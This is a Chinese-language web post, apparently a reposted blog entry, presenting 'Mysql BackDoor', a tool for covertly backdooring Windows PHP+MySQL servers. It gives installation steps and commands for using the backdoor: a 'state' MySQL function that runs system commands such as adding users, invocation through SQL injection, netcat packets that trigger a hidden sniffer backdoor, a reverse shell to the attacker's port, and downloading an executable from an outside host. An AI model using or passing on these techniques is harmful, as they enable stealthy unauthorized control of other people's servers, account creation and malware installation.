Mysql BackDoor
來源:普瑞斯特
Mysql BackDoor是一款針對PHP+Mysql服務器開發的後門,後門安裝後為Mysql增加一個可以執行系統命令的"state"函數,並且隨Mysql進程啟動一個基於Dll的嗅探型後門,從而巧妙地實現了無端口,無進程,無服務的穿牆木馬.程序在WINXP,WIN2003+MYSQL5.0.X下通過.
安裝將Mysql.php傳到PHP服務器上,依填上相應的Host-User-Password-DB後,點擊"自動安裝Mysql BackDoor"
安裝成功後,Mysql上便會增加一個"state"函數,同時利用Mysql進程運行一個基於嗅探的後門. 這個後門在Windows下擁有與Mysql一樣的系統權限.
使用state函數
State 函數實際是一個和PHP的"system()"功能相同的函數,可以用來執行系統命令.在"請輸入SQL命令:"處填寫要執行的mysql語句,如" select state("net user nohack /add")",點擊"執行SQL語句"後,便會得到運行結果.
使用基於Sniff的後門有了state函數,即使WebShell丟了,只要服務器上有SQL注入點,我們就能通過注入".php?id=1 and state('net user')"的方法在服務器上執行命令.但是如果注入點都沒有了呢?我們仍然調用基於Sniff的後門控制服務器.向服務器開放的任意端口發送以"Mysql-"開頭的數據包,便能調用這個Sniff的後門,如:
1.運行系統命令: nc ip 80->回車->Mysql-cmd /c net user abc /add>c:/log.txt!(注意:最後的"!"不可省略)
2.讓服務器反彈Shell到本機20082端口:先運行nc –lp 20082監聽本機的20082端口,再nc ip 80->回車->Mysql-c-->回車
3.讓服務器下載文件:nc ip 80->回車->Mysql-http://www.x.com/door.exe -c mydoor.exe!(注意:最後的"!"不可省略)
除了發送"Mysql-c-",其他的命令是沒有回顯的,但相應的命令已經在服務器上運行了.
卸載在Mysql上運行"drop function state"便可卸載,但同時會造成mysql進程退出,重啟後恢復正常.










































154 Trackback(s)
You must be logged in to post a comment.